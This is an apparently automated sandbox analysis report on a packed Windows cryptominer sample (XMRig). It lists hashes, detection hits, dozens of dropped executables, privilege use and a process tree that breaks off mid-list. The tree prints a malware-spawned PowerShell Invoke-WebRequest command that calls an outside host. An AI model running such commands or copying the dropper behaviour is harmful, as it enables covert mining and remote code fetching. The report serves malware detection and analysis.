xmrig | 25c4e5aa1cec46c43e582d17169816d5d1efadb85eadadad4bf986b708a0a168

Analysis

max time kernel
36s
max time network
30s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
28-04-2024 17:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
Size

2.2MB
MD5

05b08e3e26e11d749dce1d3af28b863a
SHA1

b9d8937708e90571300fc5cdb0ff9be5c7e4df61
SHA256

25c4e5aa1cec46c43e582d17169816d5d1efadb85eadadad4bf986b708a0a168
SHA512

0102a8c8ceb7f51560cf2a01f44ebd96990f68210c8e31c17df89884928ba92b7bada50f625c69523aa3a7734b82d093c04efc87ca3cadf62ba8e06faaba5d15
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1VQx7Va4qrfr:NABE

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 7 IoCs

miner

resource	yara_rule
behavioral1/memory/2744-13-0x000000013F170000-0x000000013F562000-memory.dmp	xmrig
behavioral1/memory/2080-39-0x000000013F7E0000-0x000000013FBD2000-memory.dmp	xmrig
behavioral1/memory/2732-41-0x000000013F5D0000-0x000000013F9C2000-memory.dmp	xmrig
behavioral1/memory/2464-46-0x000000013FC40000-0x0000000140032000-memory.dmp	xmrig
behavioral1/memory/2968-98-0x000000013F3A0000-0x000000013F792000-memory.dmp	xmrig
behavioral1/memory/1148-390-0x000000013FE90000-0x0000000140282000-memory.dmp	xmrig
behavioral1/memory/2660-966-0x000000013FEA0000-0x0000000140292000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
2744	mGNOWZJ.exe
2660	omOuQIR.exe
2080	iNgQHjS.exe
2732	rfFvDkF.exe
2464	wbTuEDC.exe
2520	WtyztZP.exe
2476	zdXuJVr.exe
2968	KRMjljU.exe
2928	HpjWzXN.exe
2764	DODYlqt.exe
1992	CwDBYBT.exe
2632	iXezMZO.exe
2904	FZpcVso.exe
1776	EjLRsBY.exe
2196	qPXwUzP.exe
1264	GoYwnxO.exe
2072	cWMmGrw.exe
1452	BSxZnSV.exe
1656	NfNfeYQ.exe
2092	WhQrMes.exe
2076	qtyvZGI.exe
2292	sjlrcWu.exe
1716	JBSsdCf.exe
828	IvaPDMY.exe
2144	tRElNuL.exe
1100	CCPGeFu.exe
452	AVpRCCs.exe
1664	oJJhqwi.exe
1696	wrOWDwW.exe
1644	gkUNIYu.exe
1680	Pkrhsac.exe
924	mOCKTWc.exe
708	VlUOqmN.exe
1312	xdauyga.exe
2388	azxPRyq.exe
1720	poxUNmM.exe
1896	XazcjTm.exe
2980	EfJYeCX.exe
1904	vTOcFAI.exe
2672	UjhbrzU.exe
2512	ukdjpzC.exe
2452	mSXGAJR.exe
2716	MsGKfam.exe
2964	aiRmyoO.exe
2804	NrwWTWl.exe
2844	PzpsRhN.exe
1616	KpfyGia.exe
2056	VnmAYRK.exe
2436	SyuJKkv.exe
1976	JnqGVND.exe
692	rJoPSdb.exe
1056	EmyywHx.exe
1372	Fkayjaa.exe
1824	DfnoQCo.exe
1368	CqTHnCs.exe
2404	OHRkobz.exe
1608	TZeDrtX.exe
1876	RiYeFRj.exe
836	tuwhGsZ.exe
1932	NkkDeps.exe
1676	mIKmyve.exe
592	ssaoEFX.exe
1768	mlUlTnj.exe
572	ySMHcCD.exe

Loads dropped DLL 64 IoCs

pid	Process
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe

UPX packed file 48 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1148-2-0x000000013FE90000-0x0000000140282000-memory.dmp	upx
behavioral1/files/0x000b0000000153c7-5.dat	upx
behavioral1/memory/2744-13-0x000000013F170000-0x000000013F562000-memory.dmp	upx
behavioral1/memory/2660-19-0x000000013FEA0000-0x0000000140292000-memory.dmp	upx
behavioral1/files/0x001800000000558a-20.dat	upx
behavioral1/files/0x0032000000015ba8-17.dat	upx
behavioral1/files/0x0008000000015c93-24.dat	upx
behavioral1/files/0x0007000000015c9c-34.dat	upx
behavioral1/memory/2080-39-0x000000013F7E0000-0x000000013FBD2000-memory.dmp	upx
behavioral1/memory/2732-41-0x000000013F5D0000-0x000000013F9C2000-memory.dmp	upx
behavioral1/memory/2464-46-0x000000013FC40000-0x0000000140032000-memory.dmp	upx
behavioral1/memory/2520-53-0x000000013FA20000-0x000000013FE12000-memory.dmp	upx
behavioral1/files/0x0007000000015cb0-49.dat	upx
behavioral1/files/0x0009000000015cce-51.dat	upx
behavioral1/memory/2476-59-0x000000013F9E0000-0x000000013FDD2000-memory.dmp	upx
behavioral1/files/0x0032000000015c4c-64.dat	upx
behavioral1/files/0x00060000000165f0-80.dat	upx
behavioral1/files/0x0006000000016813-84.dat	upx
behavioral1/files/0x0006000000016c1d-112.dat	upx
behavioral1/files/0x0006000000016c8c-120.dat	upx
behavioral1/files/0x0006000000016ce4-130.dat	upx
behavioral1/files/0x0006000000016cfd-137.dat	upx
behavioral1/files/0x0006000000016d36-158.dat	upx
behavioral1/files/0x0006000000016fe8-183.dat	upx
behavioral1/files/0x0006000000016c42-113.dat	upx
behavioral1/files/0x0006000000016a6f-101.dat	upx
behavioral1/memory/2968-98-0x000000013F3A0000-0x000000013F792000-memory.dmp	upx
behavioral1/files/0x000600000001654a-95.dat	upx
behavioral1/files/0x0006000000016d32-155.dat	upx
behavioral1/files/0x0006000000016d3a-161.dat	upx
behavioral1/files/0x000600000001739d-186.dat	upx
behavioral1/memory/1148-390-0x000000013FE90000-0x0000000140282000-memory.dmp	upx
behavioral1/files/0x0006000000016db3-180.dat	upx
behavioral1/files/0x0006000000016e78-177.dat	upx
behavioral1/files/0x0006000000016d9f-172.dat	upx
behavioral1/files/0x0006000000016da4-169.dat	upx
behavioral1/files/0x0006000000016d16-147.dat	upx
behavioral1/files/0x0006000000016d05-140.dat	upx
behavioral1/files/0x0006000000016cf5-131.dat	upx
behavioral1/files/0x0006000000016cb2-124.dat	upx
behavioral1/files/0x00060000000173e5-189.dat	upx
behavioral1/files/0x0006000000016d1f-153.dat	upx
behavioral1/files/0x0006000000016d0e-145.dat	upx
behavioral1/files/0x00060000000162c9-87.dat	upx
behavioral1/files/0x0006000000016c3a-110.dat	upx
behavioral1/files/0x0006000000016476-71.dat	upx
behavioral1/files/0x00070000000161b3-63.dat	upx
behavioral1/memory/2660-966-0x000000013FEA0000-0x0000000140292000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\JTaLTkh.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\CjkpGHD.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\iPOleSN.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\jarQHIS.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\HeMObxH.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\efrnumq.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\aPwtksX.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\tstJgiK.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\ghMpkoA.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\vTOcFAI.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\pwoPNYh.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\DCybKmP.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\zFxjpCY.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\RCNCzZP.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\DCieqeC.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\ApPBqdW.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\omifZbs.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\ULebyLt.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\jJBjjMh.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\PSMJvGi.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\VQEEQoc.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\jyZQusD.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\Ejncngj.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\FXIfMzy.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\CNQJsiU.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\kjckNxM.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\feadHKy.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\YaeYqsr.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\bTDCyAQ.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\poiRjxP.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\sRziWmm.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\OHRkobz.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\YaXRCeB.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\cfZtcoU.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\wuxBMBo.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\RnGiKty.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\vBdNuiM.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\LFWbLAe.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\KnVsKsC.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\JeVQFaV.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\BjjBJZe.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\dIrgRZL.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\VGoFGHR.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\VTdYiDu.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\ZGXXwpp.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\ahEdpOx.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\IJjoORg.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\xTUfmLH.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\pDOaIHM.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\tCipOXi.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\QKjCsng.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\tbatBTk.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\FByfdTr.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\MdYABvy.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\IiACxDH.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\cMuaGcO.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\WgqiDKF.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\Ioqzeei.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\iMgzTCz.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\iEwKLUK.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\xjTWObr.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\SALUdWH.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\YQOcCXB.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
File created	C:\Windows\System\zdXuJVr.exe	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3036	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
Token: SeDebugPrivilege	3036	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1148 wrote to memory of 3036	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	29
PID 1148 wrote to memory of 3036	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	29
PID 1148 wrote to memory of 3036	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	29
PID 1148 wrote to memory of 2744	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	30
PID 1148 wrote to memory of 2744	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	30
PID 1148 wrote to memory of 2744	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	30
PID 1148 wrote to memory of 2660	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	31
PID 1148 wrote to memory of 2660	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	31
PID 1148 wrote to memory of 2660	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	31
PID 1148 wrote to memory of 2080	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	32
PID 1148 wrote to memory of 2080	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	32
PID 1148 wrote to memory of 2080	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	32
PID 1148 wrote to memory of 2464	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	33
PID 1148 wrote to memory of 2464	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	33
PID 1148 wrote to memory of 2464	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	33
PID 1148 wrote to memory of 2732	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	34
PID 1148 wrote to memory of 2732	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	34
PID 1148 wrote to memory of 2732	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	34
PID 1148 wrote to memory of 2520	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	35
PID 1148 wrote to memory of 2520	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	35
PID 1148 wrote to memory of 2520	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	35
PID 1148 wrote to memory of 2476	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	36
PID 1148 wrote to memory of 2476	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	36
PID 1148 wrote to memory of 2476	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	36
PID 1148 wrote to memory of 2968	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	37
PID 1148 wrote to memory of 2968	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	37
PID 1148 wrote to memory of 2968	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	37
PID 1148 wrote to memory of 2928	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	38
PID 1148 wrote to memory of 2928	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	38
PID 1148 wrote to memory of 2928	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	38
PID 1148 wrote to memory of 1992	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	39
PID 1148 wrote to memory of 1992	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	39
PID 1148 wrote to memory of 1992	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	39
PID 1148 wrote to memory of 2764	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	40
PID 1148 wrote to memory of 2764	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	40
PID 1148 wrote to memory of 2764	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	40
PID 1148 wrote to memory of 2632	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	41
PID 1148 wrote to memory of 2632	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	41
PID 1148 wrote to memory of 2632	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	41
PID 1148 wrote to memory of 2904	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	42
PID 1148 wrote to memory of 2904	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	42
PID 1148 wrote to memory of 2904	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	42
PID 1148 wrote to memory of 2196	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	43
PID 1148 wrote to memory of 2196	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	43
PID 1148 wrote to memory of 2196	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	43
PID 1148 wrote to memory of 1776	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	44
PID 1148 wrote to memory of 1776	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	44
PID 1148 wrote to memory of 1776	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	44
PID 1148 wrote to memory of 2072	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	45
PID 1148 wrote to memory of 2072	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	45
PID 1148 wrote to memory of 2072	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	45
PID 1148 wrote to memory of 1264	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	46
PID 1148 wrote to memory of 1264	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	46
PID 1148 wrote to memory of 1264	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	46
PID 1148 wrote to memory of 1452	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	47
PID 1148 wrote to memory of 1452	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	47
PID 1148 wrote to memory of 1452	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	47
PID 1148 wrote to memory of 1656	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	48
PID 1148 wrote to memory of 1656	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	48
PID 1148 wrote to memory of 1656	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	48
PID 1148 wrote to memory of 1616	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	49
PID 1148 wrote to memory of 1616	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	49
PID 1148 wrote to memory of 1616	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	49
PID 1148 wrote to memory of 2092	1148	05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe	50

C:\Users\Admin\AppData\Local\Temp\05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\05b08e3e26e11d749dce1d3af28b863a_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3036
- C:\Windows\System\mGNOWZJ.exe
  C:\Windows\System\mGNOWZJ.exe
  2⤵
  - Executes dropped EXE
  PID:2744
- C:\Windows\System\omOuQIR.exe
  C:\Windows\System\omOuQIR.exe
  2⤵
  - Executes dropped EXE
  PID:2660
- C:\Windows\System\iNgQHjS.exe
  C:\Windows\System\iNgQHjS.exe
  2⤵
  - Executes dropped EXE
  PID:2080
- C:\Windows\System\wbTuEDC.exe
  C:\Windows\System\wbTuEDC.exe
  2⤵
  - Executes dropped EXE
  PID:2464
- C:\Windows\System\rfFvDkF.exe
  C:\Windows\System\rfFvDkF.exe
  2⤵
  - Executes dropped EXE
  PID:2732
- C:\Windows\System\WtyztZP.exe
  C:\Windows\System\WtyztZP.exe
  2⤵
  - Executes dropped EXE
  PID:2520
- C:\Windows\System\zdXuJVr.exe
  C:\Windows\System\zdXuJVr.exe
  2⤵
  - Executes dropped EXE
  PID:2476
- C:\Windows\System\KRMjljU.exe
  C:\Windows\System\KRMjljU.exe
  2⤵
  - Executes dropped EXE
  PID:2968
- C:\Windows\System\HpjWzXN.exe
  C:\Windows\System\HpjWzXN.exe
  2⤵
  - Executes dropped EXE
  PID:2928
- C:\Windows\System\CwDBYBT.exe
  C:\Windows\System\CwDBYBT.exe
  2⤵
  - Executes dropped EXE
  PID:1992
- C:\Windows\System\DODYlqt.exe
  C:\Windows\System\DODYlqt.exe
  2⤵
  - Executes dropped EXE
  PID:2764
- C:\Windows\System\iXezMZO.exe
  C:\Windows\System\iXezMZO.exe
  2⤵
  - Executes dropped EXE
  PID:2632
- C:\Windows\System\FZpcVso.exe
  C:\Windows\System\FZpcVso.exe
  2⤵
  - Executes dropped EXE
  PID:2904
- C:\Windows\System\qPXwUzP.exe
  C:\Windows\System\qPXwUzP.exe
  2⤵
  - Executes dropped EXE
  PID:2196
- C:\Windows\System\EjLRsBY.exe
  C:\Windows\System\EjLRsBY.exe
  2⤵
  - Executes dropped EXE
  PID:1776
- C:\Windows\System\cWMmGrw.exe
  C:\Windows\System\cWMmGrw.exe
  2⤵
  - Executes dropped EXE
  PID:2072
- C:\Windows\System\GoYwnxO.exe
  C:\Windows\System\GoYwnxO.exe
  2⤵
  - Executes dropped EXE
  PID:1264
- C:\Windows\System\BSxZnSV.exe
  C:\Windows\System\BSxZnSV.exe
  2⤵
  - Executes dropped EXE
  PID:1452
- C:\Windows\System\NfNfeYQ.exe
  C:\Windows\System\NfNfeYQ.exe
  2⤵
  - Executes dropped EXE
  PID:1656
- C:\Windows\System\KpfyGia.exe
  C:\Windows\System\KpfyGia.exe
  2⤵
  - Executes dropped EXE
  PID:1616
- C:\Windows\System\WhQrMes.exe
  C:\Windows\System\WhQrMes.exe
  2⤵
  - Executes dropped EXE
  PID:2092
- C:\Windows\System\VnmAYRK.exe
  C:\Windows\System\VnmAYRK.exe
  2⤵
  - Executes dropped EXE
  PID:2056
- C:\Windows\System\qtyvZGI.exe
  C:\Windows\System\qtyvZGI.exe
  2⤵
